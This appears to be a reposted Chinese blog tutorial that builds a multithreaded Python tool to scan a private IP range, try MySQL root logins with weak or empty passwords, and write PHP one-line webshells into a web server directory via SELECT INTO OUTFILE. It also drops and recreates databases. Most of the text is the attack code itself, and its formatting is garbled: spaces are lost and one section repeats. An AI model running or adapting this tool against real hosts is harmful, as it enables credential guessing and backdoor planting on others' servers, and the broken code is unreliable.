但直接连接mysql端口速度特别慢,如果主机未开放端口,要6秒才返回端口不能连接的信息。为了改善效率,不采用直接连接mysql端口的做法。可以改为先扫描主机是否存活,或者端口是否开放,再进行连接。在此,我选择了提前检测主机是否存活。(如果要选择提现检验端口是否开放,注意选择SYN快速扫描,普通的TCP连接端口扫描速度也不快。)
增加一个ping_ip函数,可参考
http://blog.51cto.com/happylab/1742282

加上判断语句。若主机不存活,则退出

改好后再测试发现时间缩短一半。
以下是这次的完整代码-3:
- #!/usr/bin/envpython
- #coding=utf-8
- #author:Blus
-
- importMySQLdb
- importthreading
- importtime
- importIPy
-
- defmysql_connect1(ip,shell_url,shell_content):
- #尝试数据库连接
- try:
- conn=MySQLdb.connect(host=ip,user='root',passwd='123456',db='',port=3306)
- cur=conn.cursor()
-
- #若数据库连接成功,开始写马
- try:
-
- sql_insert= "SELECT '{}'into outfile'{}';".format(shell_content,shell_url)
- printsql_insert;
-
- cur.execute(sql_insert)
- print"写入成功".decode()
-
- exceptException as e:
- print"写入错误"
- printe;
- return
- cur.close()
- conn.close()
-
-
- exceptMySQLdb.Error,e:
- print"Mysql_Error: %d: %s" % (e.args[0], e.args[1])
- return
-
- if__name__ == "__main__":
- #内容设置
- shell_url='../../../../wamp64/www/erg2313231.php';
- shell_content='<?php@eval($_POST[cmd]); ?>'
- #设置同时运行的线程数
- threads=25
- #要检测的IP网段
- ip1= IPy.IP('192.168.0.0/16')
-
-
- forip in ip1:
- ip=str(ip)
- while(threading.activeCount()>threads):
- time.sleep(1)
- threading.Thread(target=mysql_connect1,args=(ip, shell_url,shell_content)).start()
- print'检测结束'
-
-
- 05
- 改善速度,增加ping函数
-
- 但直接连接mysql端口速度特别慢,如果主机未开放端口,要6秒才返回端口不能连接的信息。为了改善效率,不采用直接连接mysql端口的做法。可以改为先扫描主机是否存活,或者端口是否开放,再进行连接。在此,我选择了提前检测主机是否存活。(如果要选择提现检验端口是否开放,注意选择SYN快速扫描,普通的TCP连接端口扫描速度也不快。)
-
- 增加一个ping_ip函数,可参考
- http://blog.51cto.com/happylab/1742282
-
-
- 加上判断语句。若主机不存活,则退出
-
-
-
- 改好后再测试发现时间缩短一半。
-
- 以下是这次的完整代码-3:
- #!/usr/bin/envpython
- #coding=utf-8
- #author:Blus
-
- importMySQLdb
- importthreading
- importIPy
- import time
- importsubprocess
- defmysql_connect1(ip,shell_url,shell_content):
-
- ifnot(ping_ip(ip)):
- #printip,"down"
- return
-
- #尝试数据库连接
- try:
- conn=MySQLdb.connect(host=ip,user='root',passwd='',db='',port=3306)
- cur=conn.cursor()
-
- #若数据库连接成功,开始写马
- try:
- #如果有重名数据库则删除该数据库
- cur.execute('DROPdatabase IF EXISTS `A123456`;')
- cur.execute('createdatabase A123456;')
- except:
- printip,"数据库创建错误"
- return
- cur.execute('useA123456;')
-
- try:
- cur.execute('CREATETABLE A123456.B123456 (C123456 TEXT NOT NULL );')
- printip,"表创建成功"
- except:
- printip,"表创建失败"
- return
-
- try:
- shell_content2="INSERTINTOB123456(C123456)VALUES ('{}');".format(shell_content)
- cur.execute(shell_content2)
- printip,"一句话插入成功"
- except:
- printip,"一句话插入失败"
- return
- #这里设置小马导出后的路径,该目录需要有写权限且mysql没有开启secure-file-priv
- try:
- sql_insert="SELECTC123456 from B123456 into outfile '{}';".format(shell_url)
- cur.execute(sql_insert)
- printip,"写入成功".decode()
- exceptException as e:
- printip,"写入错误",e
- return
-
- cur.close()
- conn.close()
- return
- exceptMySQLdb.Error,e:
- print"Mysql_Error: %d: %s" % (e.args[0], e.args[1])
- return
-
- defping_ip(ip):
- #调用ping命令,如果不通,则会返回100%丢包的信息。通过匹配是否有100%关键字,判断主机是否存活
-
- cmd= 'ping -w 1 %s' % ip
- p= subprocess.Popen(cmd,
- stdin=subprocess.PIPE,
- stdout=subprocess.PIPE,
- stderr=subprocess.PIPE,
- shell=True)
- result= p.stdout.read()
- regex= result.find('100%')
- #未匹配到就是-1
- #未匹配到就是存活主机
- if(regex == -1):
- return1
- else:
- return0
-
-
- if__name__ == "__main__":
- start= time.time()
- #内容设置
- shell_url='../../../../wamp64/www/erg2313231.php';
- shell_content='<?php($_=@$_GET[2]).@$_($_POST[1323222222])?>'
-
- #设置同时运行的线程数
- threads=25
-
- #要检测的IP网段
- ip1= IPy.IP('192.168.0.0/24')
-
- forip in ip1:
- ip=str(ip)
-
- while(threading.activeCount()>threads):
- time.sleep(1)
- t1=threading.Thread(target=mysql_connect1,args=(ip, shell_url,shell_content))
- t1.start()
-
- #当线程只剩1时,说明执行完了
- while(threading.activeCount()!=1):
- time.sleep(1)
- print"检测结束"
- end= time.time()
- printend - start
06日志记录
接下来就是日志记录功能,记录哪些ip在线,哪些开放了3306端口,哪些已经连接成功。同时删除了小马写入的代码,因为在批量扫描,大部分服务器都是站库分离的情况下,该功能没什么用。
更改了以下几处:
(编辑:晋中站长网)
【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!
|